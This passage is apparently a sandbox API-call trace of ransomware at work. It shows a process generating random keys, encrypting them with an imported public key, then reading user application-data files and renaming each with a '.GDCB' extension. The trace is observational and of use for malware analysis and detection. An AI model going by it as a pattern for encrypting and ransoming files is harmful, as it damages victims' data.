pbBuffer=0x285d868) returned 1 [0230.254] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.254] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0230.256] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f478) returned 1 [0230.256] CryptGetKeyParam (in: hKey=0x659f478, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.256] CryptEncrypt (in: hKey=0x659f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.257] GetLastError () returned 0x0 [0230.257] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0230.257] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0230.259] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f278) returned 1 [0230.259] CryptGetKeyParam (in: hKey=0x659f278, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.259] CryptEncrypt (in: hKey=0x659f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.259] GetLastError () returned 0x0 [0230.259] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0230.259] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-wal" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0230.260] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ca0000 [0230.262] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7cb0000 [0230.264] ReadFile (in: hFile=0x50c, lpBuffer=0x7cb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7cb0000*, lpNumberOfBytesRead=0x285d8f8*=0x61938, lpOverlapped=0x0) returned 1 [0230.342] VirtualAlloc (lpAddress=0x0, dwSize=0x61940, flAllocationType=0x3000, flProtect=0x4) returned 0x7dc0000 [0230.366] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-wal" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-wal"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-wal.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\localstate\\mediadb.v1.sqlite-wal.gdcb")) returned 1 [0230.384] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.387] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.387] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.387] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.388] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.389] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.390] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.390] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.391] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.393] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f2f8) returned 1 [0230.393] CryptGetKeyParam (in: hKey=0x659f2f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.393] CryptEncrypt (in: hKey=0x659f2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.393] GetLastError () returned 0x0 [0230.393] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.393] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.395] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f138) returned 1 [0230.395] CryptGetKeyParam (in: hKey=0x659f138, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.395] CryptEncrypt (in: hKey=0x659f138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.395] GetLastError () returned 0x0 [0230.395] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.395] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0230.397] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ca0000 [0230.399] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7cb0000 [0230.402] ReadFile (in: hFile=0x50c, lpBuffer=0x7cb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7cb0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0230.419] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7dc0000 [0230.424] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0230.474] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0230.477] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.480] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.485] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.485] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0230.485] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.487] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.489] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.489] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.489] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0230.491] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f7f8) returned 1 [0230.491] CryptGetKeyParam (in: hKey=0x659f7f8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.491] CryptEncrypt (in: hKey=0x659f7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7c80000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.491] GetLastError () returned 0x0 [0230.491] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0230.491] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0230.493] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f6b8) returned 1 [0230.493] CryptGetKeyParam (in: hKey=0x659f6b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.493] CryptEncrypt (in: hKey=0x659f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7c90000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.494] GetLastError () returned 0x0 [0230.494] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0230.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0230.496] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.498] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.500] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.500] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.500] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.500] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.502] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.503] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.503] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0230.505] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f3b8) returned 1 [0230.505] CryptGetKeyParam (in: hKey=0x659f3b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.505] CryptEncrypt (in: hKey=0x659f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ca0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ca0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.506] GetLastError () returned 0x0 [0230.506] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0230.506] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.508] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f1b8) returned 1 [0230.508] CryptGetKeyParam (in: hKey=0x659f1b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.508] CryptEncrypt (in: hKey=0x659f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7cb0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7cb0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.508] GetLastError () returned 0x0 [0230.508] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.508] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0230.508] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.510] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.512] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.512] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.512] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.514] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.515] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.515] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.515] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.515] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.518] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f7b8) returned 1 [0230.518] CryptGetKeyParam (in: hKey=0x659f7b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.518] CryptEncrypt (in: hKey=0x659f7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7cc0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7cc0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.518] GetLastError () returned 0x0 [0230.518] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.518] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.520] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f0b8) returned 1 [0230.520] CryptGetKeyParam (in: hKey=0x659f0b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.520] CryptEncrypt (in: hKey=0x659f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7cd0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7cd0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.520] GetLastError () returned 0x0 [0230.520] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.520] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0230.831] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.833] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.835] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.836] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.836] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.836] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0230.838] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.839] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.842] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.842] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0230.843] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.847] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f2b8) returned 1 [0230.847] CryptGetKeyParam (in: hKey=0x659f2b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.847] CryptEncrypt (in: hKey=0x659f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ce0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ce0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0230.847] GetLastError () returned 0x0 [0230.847] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.847] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0230.849] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x659f078) returned 1 [0230.849] CryptGetKeyParam (in: hKey=0x659f078, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0230.849] CryptEncrypt (in: hKey=0x659f078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7cf0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7cf0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0230.849] GetLastError () returned 0x0 [0230.849] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.849] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0230.851] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d00000 [0230.855] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d10000 [0230.861] ReadFile (in: hFile=0x50c, lpBuffer=0x7d10000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7d10000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0230.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7e20000 [0230.882] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0230.950] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0230.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.953] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0230.953] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0230.953] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0230.955] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0230.956] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0230.956] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0230.956] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0230.956] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic 